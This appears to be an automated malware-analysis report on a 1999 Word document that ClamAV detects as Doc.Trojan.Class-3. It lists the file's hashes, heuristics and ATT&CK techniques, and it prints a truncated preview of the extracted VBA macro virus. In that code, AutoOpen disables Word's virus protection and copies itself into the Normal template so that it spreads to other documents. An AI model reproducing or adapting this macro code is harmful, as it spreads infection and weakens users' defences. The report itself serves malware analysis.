Office (OLE) malware analysis — malicious · f25d9e384d718aec

MALICIOUS

Office (OLE)

37.0 KB Created: 1999-06-08 21:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 07737cf71f901d00a66cccb9260ceaa3 SHA-1: 4cc9eaf4efd52862ab7e2c8feb8cb1cc21a22185 SHA-256: f25d9e384d718aec023f17078da59347b8a3ed885811dce482470a0b06af4e23

340 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and active VBA macros, including AutoOpen and Auto_Close functions. The AutoOpen macro attempts to disable virus protection and execute code, suggesting it is designed to download and run a secondary payload. The presence of these macro-related heuristics and the ClamAV detection strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Trojan.Class-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-3
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7865 bytes
SHA-256: `eab1aa6dfd9a19d21170226bf8116501cc30c4d9c8effcb784465337bca59853`
Detection ClamAV: Doc.Trojan.Class-3 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo On Error Resume Next 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Options.VirusProtection = 0 - 0 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Options.SaveNormalPrompt = 0 - 0 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Options.ConfirmConversions = 0 - 0 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo VSize = 136 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo If nt < VSize - 1 Then 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Set Vhost = NormalTemplate.VBProject.VBComponents.Item(1) 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Set VSource = ActiveDocument.VBProject.VBComponents.Item(1) 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo nt = 77 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo GoTo out 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo End If 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo If ad = 0 Then 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Set Vhost = ActiveDocument.VBProject.VBComponents.Item(1) 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Set VSource = NormalTemplate.VBProject.VBComponents.Item(1) 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo GoTo out 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo End If 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo GoTo VMailer 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo out: 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo With Vhost.CodeModule 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo VSource.Export "c:\v.sys" 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo .AddFromFile ("c:\v.sys") 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo For x = 2 To VSize Step 2 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo .ReplaceLine x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Next x 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo End With 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo For x = 1 To 4 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Vhost.CodeModule.deletelines 1 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Next x 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Vhost.CodeModule.ReplaceLine 1, "Sub AutoOpen" 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo Vhost.CodeModule.ReplaceLine 131, "Sub ViewVBCode" 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo If nt = 77 Then 'Compaq3/31/99 4:28:16 PMHP LaserJet IIISi on \\ELROND\AV3W97MadcoOffice Logo NormalTemplate.VBProject.VB ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.